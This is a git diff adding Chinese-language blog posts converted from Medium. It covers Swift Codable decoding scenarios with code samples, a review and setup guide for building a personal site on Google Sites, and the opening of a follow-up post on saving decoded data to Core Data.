unkeyedContainer.decode(SongEntity.self) { + items.append(song) + } else if let user = try? unkeyedContainer.decode(UserEntity.self) { + items.append(user) + } + } + } +} +``` + +存取、Decode 不同階層的物件,範例展示 target/items 使用 nestedContainer flat 出 type 再依照 type 去做對應的 decode。 +#### Decode & DecodeIfPresent +- **DecodeIfPresent:** Response 有給資料欄位時才會進行 Decode(Codable Property 設 Optional 時) +- **Decode:進行** Decode 操作,若 Response 無給資料欄位會拋出 Error + + + +> **_*以上只是簡單介紹一下 init decoder、container 有哪些方法、功能,看不懂也沒關係,我們直接進入現實場景;在範例中感受組合起來的操作方式。_** + + + + +### 現實場景 + +回到原本的範例 JSON String。 +#### 場景1\. 假設今天對誰留言可能是對歌曲或對人留言, `targetObject` 欄位可能的對象是 `User` 或 `Song` ? 那該如何處理? +```json +{ + "results": [ + { + "id": 123456, + "comment": "是告五人,不是五告人!", + "target_object": { + "type": "song", + "id": 99, + "name": "披星戴月的想你" + }, + "commenter": { + "type": "user", + "id": 1, + "name": "zhgchgli", + "email": "zhgchgli@gmail.com" + } + }, + { + "id": 55, + "comment": "66666!", + "target_object": { + "type": "user", + "id": 1, + "name": "zhgchgli" + }, + "commenter": { + "type": "user", + "id": 2, + "name": "aaaa", + "email": "aaaa@gmail.com" + } + } + ] +} +``` +#### 方式 a\. + +使用 Enum 做為容器 Decode。 +```swift +struct CommentEntity: Decodable { + + enum CodingKeys: String, CodingKey { + case id + case comment + case targetObject = "target_object" + case commenter + } + + var id: Int + var comment: String + var targetObject: TargetObject + var commenter: UserEntity + + enum TargetObject: Decodable { + case song(SongEntity) + case user(UserEntity) + + enum PredictKey: String, CodingKey { + case type + } + + enum TargetObjectType: String, Decodable { + case song + case user + } + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: PredictKey.self) + let singleValueContainer = try decoder.singleValueContainer() + let targetObjectType = try container.decode(TargetObjectType.self, forKey: .type) + + switch targetObjectType { + case .song: + let song = try singleValueContainer.decode(SongEntity.self) + self = .song(song) + case .user: + let user = try singleValueContainer.decode(UserEntity.self) + self = .user(user) + } + } + } +} +``` + +我們將 `targetObject` 的屬性換成 Associated Value Enum,在 Decode 時才決定 Enum 內要放什麼內容。 + +核心實踐是建立一個符合 Decodable 的 Enum 做為容器,decode 時先取關鍵欄位出來判斷\(範例 JSON String 中的 `type` 欄位\),若為 `Song` 則使用 singleValueContainer 將整包解成 `SongEntity` ,若為 `User` 亦然。 + +**要使用時再從 Enum 中取出:** +```swift +//if case let +if case let CommentEntity.TargetObject.user(user) = result.targetObject { + print(user) +} else if case let CommentEntity.TargetObject.song(song) = result.targetObject { + print(song) +} + +//switch case let +switch result.targetObject { +case .song(let song): + print(song) +case .user(let user): + print(user) +} +``` +#### 方式 b\. + +改宣告欄位屬性為 Base Class。 +```swift +struct CommentEntity: Decodable { + enum CodingKeys: String, CodingKey { + case id + case comment + case targetObject = "target_object" + case commenter + } + enum PredictKey: String, CodingKey { + case type + } + + var id: Int + var comment: String + var targetObject: Decodable + var commenter: UserEntity + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + self.id = try container.decode(Int.self, forKey: .id) + self.comment = try container.decode(String.self, forKey: .comment) + self.commenter = try container.decode(UserEntity.self, forKey: .commenter) + + // + let targetObjectContainer = try container.nestedContainer(keyedBy: PredictKey.self, forKey: .targetObject) + let targetObjectType = try targetObjectContainer.decode(String.self, forKey: .type) + if targetObjectType == "user" { + self.targetObject = try container.decode(UserEntity.self, forKey: .targetObject) + } else { + self.targetObject = try container.decode(SongEntity.self, forKey: .targetObject) + } + } +} +``` + +原理差不多,但這邊先使用 `nestedContainer` 衝進去 `targetObject` 拿 `type` 出來判斷,再決定 `targetObject` 要解析成什麼類型。 + +**要使用時再 Cast :** +```swift +if let song = result.targetObject as? Song { + print(song) +} else if let user = result.targetObject as? User { + print(user) +} +``` +#### 場景2\. 假設資料陣列欄位放多種類型的資料該如何 Decode? +``` +{ + "results": [ + { + "type": "song", + "id": 99, + "name": "披星戴月的想你" + }, + { + "type": "user", + "id": 1, + "name": "zhgchgli", + "email": "zhgchgli@gmail.com" + } + ] +} +``` + +結合上述提到的 `nestedUnkeyedContainer` \+場景1\. 的解決方案即可;這邊也能改用 **場景1\.** 的 **a\.解決方案** ,用 Associated Value Enum 存取值。 +#### 場景3\. JSON String 欄位有給值時才 Decode +``` +[ + { + "type": "song", + "id": 99, + "name": "披星戴月的想你" + }, + { + "type": "song", + "id": 11 + } +] +``` + +使用 decodeIfPresent 進行 decode。 +#### 場景4\. 陣列資料略過 Decode 失敗錯誤的資料 +```json +{ + "results": [ + { + "type": "song", + "id": 99, + "name": "披星戴月的想你" + }, + { + "error": "errro" + }, + { + "type": "song", + "id": 19, + "name": "帶我去找夜生活" + } + ] +} +``` + +如前述,Decodable 預設是所有資料剖析都正確才能 Mapping 輸出;有時會遇到後端給的資料不穩定,給一長串 Array 但就有幾筆資料缺了欄位或欄位類型不符導致 Decode 失敗;造成整包全部失敗,直接 nil。 +```swift +struct ResultsEntity: Decodable { + enum CodingKeys: String, CodingKey { + case results + } + var results: [SongEntity] + + init(from decoder: Decoder) throws { + let container = try decoder.container(keyedBy: CodingKeys.self) + var nestedUnkeyedContainer = try container.nestedUnkeyedContainer(forKey: .results) + + self.results = [] + while !nestedUnkeyedContainer.isAtEnd { + if let song = try? nestedUnkeyedContainer.decode(SongEntity.self) { + self.results.append(song) + } else { + let _ = try nestedUnkeyedContainer.decode(EmptyEntity.self) + } + } + } +} + +struct EmptyEntity: Decodable { } + +struct SongEntity: Decodable { + var type: String + var id: Int + var name: String +} + +let jsonString = "{ \"results\": [ { \"type\": \"song\", \"id\": 99, \"name\": \"披星戴月的想你\" }, { \"error\": \"errro\" }, { \"type\": \"song\", \"id\": 19, \"name\": \"帶我去找夜生活\" } ] }" +let jsonDecoder = JSONDecoder() +let result = try jsonDecoder.decode(ResultsEntity.self, from: jsonString.data(using: .utf8)!) +print(result) +``` + +解決方式也類似 **場景2\.的解決方案** ; `nestedUnkeyedContainer` 遍歷每個內容,並進行 try? Decode,如果 Decode 失敗則使用 Empty Decode 讓 `nestedUnkeyedContainer` 的內部指針繼續執行。 + + +> _*此方法有點 workaround,因我們無法對 `nestedUnkeyedContainer` 命令跳過,且 `nestedUnkeyedContainer` 必須有成功 decode 才會繼續執行;所以才這樣做,看 swift 社群有人提增加 [moveNext\( \)](https://forums.swift.org/t/pitch-unkeyeddecodingcontainer-movenext-to-skip-items-in-deserialization/22151/16){:target="_blank"} ,但目前版本尚未實作。_ + + + + +#### 場景5\. 有的欄位是我程式內部要使用的,而非要 Decode +#### 方式a\. Entity/Model + +這邊就要提一開始說的,我們拆分 Entity/Model 的功用了;Entity 單純負責 JSON String to Entity\(Decodable\) Mapping;Model initWith Entity,實際程式傳遞、操作、商業邏輯都是使用 Model。 +```swift +struct SongEntity: Decodable { + var type: String + var id: Int + var name: String +} + +class SongModel: NSObject { + init(_ entity: SongEntity) { + self.type = entity.type + self.id = entity.id + self.name = entity.name + } + + var type: String + var id: Int + var name: String + + var isSave:Bool = false //business logic +} +``` + +**拆分 Entity/Model 的好處:** +1. 權責分明,Entity: JSON String to Decodable, Model: business logic +2. 一目瞭然 mapping 了哪些欄位看 Entity 就知道 +3. 避免欄位一多全喇在一起 +4. **Objective\-C 也可用** (因 Model 只是 NSObject、struct/Decodable Objective\-C 不可見) +5. 內部要使用的商業邏輯、欄位放在 Model 即可 + +#### 方式b\. init 處理 + +列出 CodingKeys 並排除內部使用的欄位,init 時給預設值或欄位有給預設值或設為 Optional,但都不是好方法,只是可以 run 而已。 +#### \[2020/06/26 更新\] — 下篇 場景6\.API Response 使用 0/1 代表 Bool,該如何 Decode? +- [現實使用 Codable 上遇到的 Decode 問題場景總匯\(下\)](../cb00b1977537/) + +#### \[2020/06/26 更新\] — 下篇 場景7\.不想要每每都要重寫 init decoder +- [現實使用 Codable 上遇到的 Decode 問題場景總匯\(下\)](../cb00b1977537/) + +#### \[2020/06/26 更新\] — 下篇 場景8\.合理的處理 Response Null 欄位資料 +- [現實使用 Codable 上遇到的 Decode 問題場景總匯\(下\)](../cb00b1977537/) + +### 綜合場景範例 + +綜合以上基本使用及進階使用的完整範例: +``` +{ + "count": 5, + "offset": 0, + "limit": 10, + "results": [ + { + "id": 123456, + "comment": "是告五人,不是五告人!", + "target_object": { + "type": "song", + "id": 99, + "name": "披星戴月的想你", + "create_date": "2020-06-13T15:21:42+0800" + }, + "commenter": { + "type": "user", + "id": 1, + "name": "zhgchgli", + "email": "zhgchgli@gmail.com", + "birthday": "1994/07/18" + } + }, + { + "error": "not found" + }, + { + "error": "not found" + }, + { + "id": 2, + "comment": "哈哈,我也是!", + "target_object": { + "type": "user", + "id": 1, + "name": "zhgchgli", + "email": "zhgchgli@gmail.com", + "birthday": "1994/07/18" + }, + "commenter": { + "type": "user", + "id": 1, + "name": "路人甲", + "email": "man@gmail.com", + "birthday": "2000/01/12" + } + } + ] +} +``` + +**Output:** +``` +zhgchgli:是告五人,不是五告人! +``` + +完整範例演示如上! +### \(下\)篇&其他場景已更新: +- [現實使用 Codable 上遇到的 Decode 問題場景總匯\(下\)](../cb00b1977537/) + +### 總結 + +選擇使用 Codable 的好處,第一當然是因為原生,不用怕後續無人維護、還有寫起來漂亮;但相對的限制較嚴格、比較不能靈活解 JSON String,不然就是要如本文做更多的事去完成、還有效能其實不比使用其他 Mapping 套件優(Decodable 依然使用Objective 時代的 NSJSONSerialization 進行解析),但我想在後續的更新中或許蘋果會對此進行優化,那時我們也不必更動程式。 + +文中場景、範例或許有些很極端,但有時候遇到了也沒辦法;當然希望一般情況下單純的 Codable 就能滿足我們的需求;但有了以上招式之後應該沒有打不倒的問題了! + + +> _感謝 [@saiday](https://twitter.com/saiday){:target="_blank"} 大大技術支援。_ + + + + + + +[![告五人 Accusefive【帶我去找夜生活 Night life.Take us to the light】Official Music Video](/assets/1aa2f8445642/43b3_hqdefault.jpg "告五人 Accusefive【帶我去找夜生活 Night life.Take us to the light】Official Music Video")](https://www.youtube.com/watch?v=W9Fq1HC_5hg){:target="_blank"} + +### 延伸閱讀 +1. [深入 Decodable — — 写一个超越原生的 JSON 解析器](https://kemchenj.github.io/2018-06-03/){:target="_blank"} +滿滿的內容,深入了解 Decoder/JSONDecoder。 +2. [不同角度看问题 — 从 Codable 到 Swift 元编程](https://onevcat.com/2018/03/swift-meta/){:target="_blank"} +3. [Why Model Objects Shouldn’t Implement Swift’s Decodable or Encodable Protocols](https://medium.com/better-programming/why-model-objects-shouldnt-implement-swift-s-decodable-or-encodable-protocols-1249cb44d4b3){:target="_blank"} + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-ios-dev/%E7%8F%BE%E5%AF%A6%E4%BD%BF%E7%94%A8-codable-%E4%B8%8A%E9%81%87%E5%88%B0%E7%9A%84-decode-%E5%95%8F%E9%A1%8C%E5%A0%B4%E6%99%AF%E7%B8%BD%E5%8C%AF-1aa2f8445642){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-06-17-724a7fb9a364.md b/_posts/zmediumtomarkdown/2020-06-17-724a7fb9a364.md new file mode 100644 index 000000000..a720d5553 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-06-17-724a7fb9a364.md @@ -0,0 +1,456 @@ +--- +title: "使用 Google Site 建立個人網站還跟得上時代嗎?" +author: "ZhgChgLi" +date: 2020-06-17T15:53:54.715+0000 +last_modified_at: 2023-08-05T16:55:11.677+0000 +categories: "ZRealm Life." +tags: ["google","google-sites","web-development","生活","domain-names"] +description: "2020 新 Google Site 個人網站建立經驗及設定教學" +image: + path: /assets/724a7fb9a364/1*K0D-wV8e92JP2kOBH6LdPA.png +render_with_liquid: false +--- + +### 使用 Google Site 建立個人網站還跟得上時代嗎? + +新 Google Site 個人網站建立經驗及設定教學 + + + +![](/assets/724a7fb9a364/1*XFmZ3hHYo2X0GqM9OReN7A.png) + +### Update 2022–07–17 + +目前已透過我自己撰寫的 [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"} 工具將 Medium 文章打包下載並轉換為 Markdown 格式,搬遷到 Jekyll。 + + +![[zhgchg\.li](http://zhgchg.li){:target="_blank"}](/assets/724a7fb9a364/1*Ap58hu2j_PzAe8BkHugy7A.png) + +[zhgchg\.li](http://zhgchg.li){:target="_blank"} +- [**手把手無痛轉移教學可點此**](../a0c08d579ab1/) 🚀🚀🚀🚀🚀 + +#### === +### 起源 + +去年換工作時,很「虛花」的註冊了個 [域名](http://www.zhgchg.li){:target="_blank"} 來做個人履歷的導向連結;時隔半年想說讓域名更有用一些能放更多資訊、另一方面也是一直在尋覓第二網站備份 Medium 上已發表的文章,以防有個萬一。 +### 期望功能 +- 可有自訂頁面 +- 跟 Medium 一樣的流暢寫作介面 +- 互動功能(按讚/留言/追蹤) +- SEO結構好 +- 輕量載入快 +- 能綁定自己的網域 +- 侵入性低 \(廣告侵入性、網站標注\) +- 建置容易 + +### 架站選擇 +1. **自架 WordPress** +很久以前租過主機、網域,使用 WordPress 架過個人網站;從架設到調整到自己喜愛的版面樣式、安裝 Plugin/甚至自己開發缺少的 Plugin 完以後,我已沒有心力寫作,而且覺得很笨重、載入速度/SEO 也不如 Medium,要再繼續花時間調校,那就更沒有寫作的心力了。 +2. **Matters/簡書…之類** +跟 Medium 平台差不多,因我不考慮盈利方面,不適合。 +3. wix/weebly 太偏商業網站,且免費版侵入性太強 +4. **Google Site(本篇)** +5. Github Pages \+ Jekyll +6. **還在找 >>> 歡迎提供建議** + +### 關於 Google Site + +大約 2010 年時有用過舊版的 Google Site,當初拿來做個人網站的 \-> 檔案下載中心頁面;印象已有點模糊,只記得那時候的版面很笨重、介面用起來也很不順;事隔 10 年,我本來以為這個服務已經收收掉了,無意間喵到有網域投資者,拿來做域名停泊頁放出售聯絡資訊: + + +![](/assets/724a7fb9a364/1*9r_pdRlseRfizfxXszwQtw.jpeg) + + +第一眼看到的時候覺得「哇!視覺不錯,居然為了賣網域弄了個頁面」;仔細一下左下角浮標,才發現「哇!居然是 Google Site 建的」,跟我 10 年前用的介面天差地遠,查了一下才知道 Google Site 沒有停止服務,反而在 2016 年推出全新版本,雖然也距今快五年,但至少介面跟得上時代了! +### 成品展示 + +什麼都先別說,先來看我做的成品,如果你也「心有靈犀」可以考慮使用看看! + + +![[首頁](https://www.zhgchg.li/home){:target="_blank"}](/assets/724a7fb9a364/1*1zlW9fiMteYF1SImcgpKFw.png) + +[首頁](https://www.zhgchg.li/home){:target="_blank"} + + +![[個人簡歷頁](https://www.zhgchg.li/about){:target="_blank"}](/assets/724a7fb9a364/1*6cak8eU5JebUPhUcmZwf4g.png) + +[個人簡歷頁](https://www.zhgchg.li/about){:target="_blank"} + + +![[城市一隅\(瀑布流相片呈現\)](https://www.zhgchg.li/photo){:target="_blank"}](/assets/724a7fb9a364/1*FwbIAqJvZ-9Vv-vNkUwumg.png) + +[城市一隅\(瀑布流相片呈現\)](https://www.zhgchg.li/photo){:target="_blank"} + + +![[文章目錄\(連回 Medium\)](https://www.zhgchg.li/dev/ios){:target="_blank"}](/assets/724a7fb9a364/1*RWpf0-RmFQKU6b-yvWIqnA.png) + +[文章目錄\(連回 Medium\)](https://www.zhgchg.li/dev/ios){:target="_blank"} + + +![[與我聯絡 \(內嵌 Google 表單\)](https://www.zhgchg.li/contact){:target="_blank"}](/assets/724a7fb9a364/1*vvz-SuPI--a_O7yjUjelmw.png) + +[與我聯絡 \(內嵌 Google 表單\)](https://www.zhgchg.li/contact){:target="_blank"} +### 何不試試? + +節省閱讀時間,我 **先講結論;我依然在尋找更合適的服務選項** ,雖然他有在持續維護更新功能,但 Google Site 有幾個對我很重要點需求無法滿足,以下列舉我在使用上遇到的致命缺點。 +#### 致命缺點 +1. **程式碼高亮功能缺陷** +功能只有 `Code Block 底色反灰顯示` 不會變色,若要嵌入 Gist 只能使用 Embed JavaScript \(iframe\),但 Google Site 沒有特別處理,高度無法隨頁面縮放進行改變,要馬空白太多、要馬手機小螢幕上會出現裡外兩個 ScrollBar,非常醜也不好閱讀。 +2. **SEO 結構基本為零** +「驚不驚喜、益不意外?」Google 自己的服務結果 SEO 結構跟💩ㄧ樣,不給客製任何 head meta \(description/tag/og:\) 先別管 SEO 收錄排名,光把自己的網站貼到 Line/Facebook 等社群,沒有任何預覽資訊,只有醜醜的網址跟網站名稱而已。 + + + +![](/assets/724a7fb9a364/1*J3_xIg5gj218xWci44_fMg.png) + +#### 優點 + +**1\.侵入性低,僅左下會有懸浮驚嘆號點了才會顯示「Google 協作平台 檢舉濫用」** + + +![](/assets/724a7fb9a364/1*G613lcXGZJyoH_4Yh0uDVw.gif) + + +**2\.介面易用,右邊元件拉一拉就能快速建立頁面** + + +![](/assets/724a7fb9a364/1*tL8eMmBU50Ve-ReHjdlNOA.png) + + +類似 wix/weebly\. \.or cakeresume? 版面配置、元件拉一拉填一填就完成了! + +**3\. 支援 RWD、內建搜尋、導航列** + +**4\.支援 Landing Page** + + +![](/assets/724a7fb9a364/1*rFFL-Z9wsj9hyTXlf12fYQ.gif) + + +**5\.流量無特別限制、容量按照創建者的 Google Drive 容量上限** + +**6\.** 🌟 **可綁定自己的網域** + +**7\.** 🌟 **可直接串GA分析訪客** + +**8\. [官方社群](https://support.google.com/sites/threads?hl=en){:target="_blank"} 會收集意見、持續維護更新** + +**9\. 支援公告提示** + + +![](/assets/724a7fb9a364/1*VSocV0KGjORCT2te5BPcdg.png) + + +**10\.** 🌟 **無痛完美嵌入 Youtube、Google 表單、Google 簡報、Google 文件、Google 行事曆、 Google 地圖,且支援 RWD 電腦/手機瀏覽** + +**11\.** 🌟 **頁面內容支援 JavaScript/Html/CSS 內嵌** + +**12\. 網址乾淨簡潔\(http://example\.com/頁面名/子頁面名\)、頁面路徑名可自訂** + +**13\.** 🌟 **頁面排版有參考線/自動對齊,非常貼心** + + +![拖曳元件位置會出現參考對齊線](/assets/724a7fb9a364/1*vu9BSD0zxB8O2-BGG_Ir2A.png) + +拖曳元件位置會出現參考對齊線 +### 適用網站 + +我覺得 Google Site 只適合非常輕量的網頁服務,例如學校社團、小活動的網頁、個人簡歷。 +### 一些設定教學 + +列舉一些自己在使用上遇到&解決的問題;其他都是所見即所得的操作,沒有什麼好紀錄的。 +#### 如何綁定個人網域? + +**1\.** 前往 [http://google\.com/webmasters/verification](http://google.com/webmasters/verification){:target="_blank"} +**2\.** 點擊「 **新增資源** 」輸入「 **您的網域」** 點擊 **「繼續」** + + +![](/assets/724a7fb9a364/1*2Df1gSYTKGc4gFPKXCL8LA.png) + + +**3\.** 選擇您的「 **網域服務供應商** 」複製 「 **DNS 設定驗證字串** 」 + + +![](/assets/724a7fb9a364/1*qwfeg8KpI5q52AgB6KoMaQ.png) + + +**4\. 前往網域服務供應商的網站** \(這邊以 Namecheap\.com 為例,大同小異\) + + +![](/assets/724a7fb9a364/1*akLlYe8eoGu2oh97eqyiEg.png) + + +在 DNS 設定區塊新增一筆紀錄,類型選「 **TXT Record** 」、主機輸入「 **@** 」、值輸入 **剛複製的DNS 設定驗證字串** ,按新增送出。 + +再新增一筆紀錄,類型選「 **CNAME Record** 」、主機輸入「 **www \(或你想用的子網域\)** 」、值輸入「 **ghs\.googlehosted\.com\.** 」按新增送出。 + + +> _另外也可多轉址 [http://zhgchg\.li](http://zhgchg.li){:target="_blank"} \-> [http://www\.zhgchg\.li](http://www.zhgchg.li){:target="_blank"}_ + + + + + +> _這邊設定完需要稍等一下…等待 DNS 紀錄生效。。。_ + + + + + +**5\. 回到 Google Master 按驗證** + + +> _若出現 **「驗證資源失敗」** 別急!請再稍等一下,如果超過 1 小時都還是無法,再回頭檢查一下設定是否有誤。_ + + + + + + +![成功驗證網域所有權](/assets/724a7fb9a364/1*qLNahuH0n6n4xRtj9QksVA.png) + +成功驗證網域所有權 + +**6\. 回到您的 Google Site 設定頁面** + + +![](/assets/724a7fb9a364/1*S6AZcaCfZUWSzbQiw6L34w.png) + + +點擊右上角「 **齒輪\(設定\)** 」選擇「 **自訂網址** 」輸入想要指派的網域名稱,或你想用的子網域,按「 **指派** 。 + + +![](/assets/724a7fb9a364/1*2fA6e0AfdlWx4P8kTNNReQ.png) + + +指派成功後關閉設定視窗,點擊右上角的「 **發布** 」發布。 + + +> _這邊一樣需要稍等一下…等待 DNS 紀錄生效。。。_ + + + + + +**7\. 新開一個瀏覽器輸入網址試試看能不能正常瀏覽** + + +![](/assets/724a7fb9a364/1*MONM14TmEZ85E4rd-iWkbA.jpeg) + + + +> _若出現 **「網頁無法開啟」** 別急!請再稍等一下,如果超過 1 小時都還是無法,再回頭檢查一下設定是否有誤。_ + + + + + +**完成\!** +#### 子頁面、頁面路徑設定 + + +![再導航列目錄子頁面會自動聚集顯示](/assets/724a7fb9a364/1*ZBR5gf2eJHz0uBqphOoYpg.png) + +再導航列目錄子頁面會自動聚集顯示 + +**如何設定?** + + +![](/assets/724a7fb9a364/1*BcabzceD8CxLOUKOjrjfOA.png) + + +右方切換到「頁面」頁籤。 + + +![](/assets/724a7fb9a364/1*HNvNBZ20Wmjw7VbxyARtYQ.png) + + +可新增頁面用拖曳的方式拖到現有頁面下就會變成子頁面、或點擊「…」操作。 + +選擇屬性可自訂頁面路徑。 + + +![](/assets/724a7fb9a364/1*J8Q3O3kHLQqkcbt3-89nsw.png) + + +輸入路徑名稱(EX: dev \-> http://www\.zhgchg\.li/dev) +#### 頁首頁尾設定 + +**1\.頁首設定** + + +![](/assets/724a7fb9a364/1*-dboUHvOfbetRj9YqWLERw.png) + + +滑鼠移到導航列,選擇「 **新增頁首** 」 + + +![](/assets/724a7fb9a364/1*HbBRrxaiBTmBzpnfxmorug.png) + + +新增頁首後滑鼠移到左下角就能變更圖片、輸入標題文字、變更標頭類型 + + +![](/assets/724a7fb9a364/1*TNE5kqD3e_AnNlQDojHGrg.png) + + +**2\.頁尾設定** + + +![](/assets/724a7fb9a364/1*yTOMXmUTXKzM5socZ6NFjg.png) + + +滑鼠移到頁面底部,選擇「 **編輯頁尾** 」即可輸入頁尾資訊。 + + +![](/assets/724a7fb9a364/1*zzgYeB9tlNSV8lIfWqZLWg.png) + + + +> **_注意!頁尾資訊是全站共用的,所有頁面都會套用同樣的內容!_** + + +> _也可點左下角的「眼睛」,控制本頁是否要顯示頁尾資訊_ + + + + +#### 設定網站 favicon 、標頭名稱、圖示 + + +![favicon](/assets/724a7fb9a364/1*lwHzB3faSGUkl_pRGOn82g.png) + +favicon + + +![網站標題、Logo](/assets/724a7fb9a364/1*K0D-wV8e92JP2kOBH6LdPA.png) + +網站標題、Logo + +**如何設定?** + + +![](/assets/724a7fb9a364/1*gQDclS8TqzRiBmPPH1-K7g.png) + + +點擊右上角「 **齒輪\(設定\)** 」選擇「 **品牌圖片** 」即可設定,設定完別忘了回到頁面按「 **發布** 」才會生效喔! +#### 隱藏/顯示頁面最後更新資訊、頁面錨點連結提示 + + +![最後更新資訊](/assets/724a7fb9a364/1*1ukjmfIUjeR0I5LS4L3w-w.png) + +最後更新資訊 + + +![**頁面錨點連結提示**](/assets/724a7fb9a364/1*Bs1PTYTwM0_3z4d8gCiBuw.png) + +**頁面錨點連結提示** + +**如何設定?** + + +![](/assets/724a7fb9a364/1*xzqXdIXGGECyph3axrO2Kg.png) + + +點擊右上角「 **齒輪\(設定\)** 」選擇「 **檢視者工具** 」即可設定,設定完別忘了回到頁面按「 **發布** 」才會生效喔! +#### 串接 GA 分析流量 + +**1\.前往** [https://analytics\.google\.com/analytics/web/?authuser=0\#/provision/SignUp](https://analytics.google.com/analytics/web/?authuser=0#/provision/SignUp){:target="_blank"} 建立新 GA 帳戶 + +**2\.建立完成後複製 GA 追蹤 ID** + +**3\.回到您的 Google Site 設定頁面** + + +![](/assets/724a7fb9a364/1*nVk0HH_yS4XjEpHKNp9Mig.png) + + +點擊右上角「 **齒輪\(設定\)** 」選擇「 **分析** 」輸入「 **GA 追蹤 ID** 」即可設定,設定完別忘了回到頁面按「 **發布** 」才會生效喔! +#### 設定全站/首頁橫幅公告 + + +![橫幅公告](/assets/724a7fb9a364/1*VSocV0KGjORCT2te5BPcdg.png) + +橫幅公告 + +**如何設定?** + + +![](/assets/724a7fb9a364/1*CvYG4SVAthVofPvRVugnCA.png) + + +點擊右上角「 **齒輪\(設定\)** 」選擇「 **公告橫幅** 」即可設定,設定完別忘了回到頁面按「 **發布** 」才會生效喔! + +可指定橫幅訊息內容、顏色、按鈕文字、點擊前往連結、是否在新分頁開啟、設定全站 or 僅首頁顯示。 +#### 發布設定 + + +![右上角「發布 ▾」](/assets/724a7fb9a364/1*oHp8dYuug7FWzIK-EbYxQw.png) + +右上角「發布 ▾」 + +可檢查變更內容並發布。 + + +![](/assets/724a7fb9a364/1*9OOAO4V4i14CM-Y-iLn1Sg.png) + + +可設定是否讓搜尋引擎收錄及取消每次發布都要先跳檢查內容頁。 +#### 嵌入 Javascript/HTML/CSS、大量圖片 + + +![Gist 為例](/assets/724a7fb9a364/1*2uXbsl-GrC31C2vbktKbkg.png) + +Gist 為例 + + +> _但如上述致命缺點所說,嵌入 iframe 無法依照網頁大小響應高度。_ + + + + + +**如何插入?** + + +![選「內嵌」](/assets/724a7fb9a364/1*DNUUlzli89PNnVr519tJww.png) + +選「內嵌」 + + +![選擇嵌入程式碼](/assets/724a7fb9a364/1*HQjsXL1VpMkA3OLDiAgNFA.png) + +選擇嵌入程式碼 + +可輸入 JavaScript/HTML/CSS,可拿來做自訂樣式的 Button UI。 + + +> **_另外選「圖片」插入可插入多張圖片,會以瀑布流呈現\(如上述我的 [城市一隅](https://www.zhgchg.li/photo){:target="_blank"} 頁面\)。_** + + + + +#### 內嵌的 Google 表單無法在頁面直接填寫? + +這個原因是因為表單題目中有「 **檔案上傳** 」項目, [因瀏覽器安全性問題無法使用 iframe 嵌入在其他頁面中](https://support.google.com/sites/thread/24853300?hl=en){:target="_blank"} ;所以會變成只顯示問券資訊然後要點擊填寫按鈕新開視窗前往填寫內容。 + +解決辦法只有拿掉檔案上傳的問題,就能直接在頁面內進行填寫了。 +### **按鈕元件網址內容不能輸入錨點** + +EX: \#lifesection,我想拿來放頁面上方,做目錄索引瀏覽或頁底做 GoTop 按鈕 + +查了下官方社群,目前不行,按鈕的連結就只能 1\.輸入外部連結在新視窗中開啟或 2\. 指定內部頁面,所以我後來用子頁面的方式來拆分目錄了。 + + +![](/assets/724a7fb9a364/1*cR_ZHYGt4SFZr4AFtmGdYQ.png) + +### 延伸閱讀 +- [\[生產力工具\] 拋棄 Chrome 投入 Sidekick 瀏覽器的懷抱](../118e924a1477/) + + + +有任何問題及指教歡迎 [與我聯絡](https://www.zhgchg.li/contact){:target="_blank"} 。 + + + +_[Post](https://medium.com/zrealm-life/%E4%BD%BF%E7%94%A8-google-site-%E5%BB%BA%E7%AB%8B%E5%80%8B%E4%BA%BA%E7%B6%B2%E7%AB%99%E9%82%84%E8%B7%9F%E5%BE%97%E4%B8%8A%E6%99%82%E4%BB%A3%E5%97%8E-724a7fb9a364){:target="_blank"} converted from Medium by [ZMediumToMarkdown](https://github.com/ZhgChgLi/ZMediumToMarkdown){:target="_blank"}._ diff --git a/_posts/zmediumtomarkdown/2020-06-25-cb00b1977537.md b/_posts/zmediumtomarkdown/2020-06-25-cb00b1977537.md new file mode 100644 index 000000000..f5cf9fa92 --- /dev/null +++ b/_posts/zmediumtomarkdown/2020-06-25-cb00b1977537.md @@ -0,0 +1,336 @@ +--- +title: "現實使用 Codable 上遇到的 Decode 問題場景總匯(下)" +author: "ZhgChgLi" +date: 2020-06-25T17:56:31.959+0000 +last_modified_at: 2024-04-13T08:29:42.768+0000 +categories: "ZRealm Dev." +tags: ["ios","ios-app-development","codable","json","core-data"] +description: "合理的處理 Response Null 欄位資料、不一定都要重寫 init decoder" +image: + path: /assets/cb00b1977537/1*zoN0YxCnWdvMs35FaP5tNA.jpeg +render_with_liquid: false +--- + +### 現實使用 Codable 上遇到的 Decode 問題場景總匯\(下\) + +合理的處理 Response Null 欄位資料、不一定都要重寫 init decoder + + + +![Photo by [Zan](https://unsplash.com/@zanilic?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"}](/assets/cb00b1977537/1*zoN0YxCnWdvMs35FaP5tNA.jpeg) + +Photo by [Zan](https://unsplash.com/@zanilic?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText){:target="_blank"} +### 前言 + +既上篇「 [現實使用 Codable 上遇到的 Decode 問題場景總匯](../1aa2f8445642/) 」後,開發進度繼續邁進又遇到了新的場景新的問題,故出了此下篇,繼續把遇到的情景、研究心路都記錄下來,方便日後回頭查閱。 + +前篇主要解決了 JSON String \-> Entity Object 的 Decodable Mapping,有了 Entity Object 後我們可以轉換成 Model Object 在程式內傳遞使用、View Model Object 處理資料顯示邏輯…等等; **另一方面我們需要將 Entity 轉換成 NSManagedObject 存入本地 Core Data 中** 。 +### 主要問題 + +假設我們的歌曲 Entity 結構如下: +```swift +struct Song: Decodable { + var id: Int + var name: String? + var file: String? + var converImage: String? + var likeCount: Int? + var like: Bool? + var length: Int? +} +``` + +因 API EndPoint 並不一定會回傳完整資料欄位\(只有 id 是一定會給\),所以除 id 之外的欄位都是 Optional;例如:取得歌曲資訊的時候會回傳完整結構,但若是對歌曲收藏喜歡時僅會回傳 `id` 、 `likeCount` 、 `like` 三個有關聯更動的欄位資料。 + +我們希望 API Response 有什麼欄位資料都能一併存入 Core Data 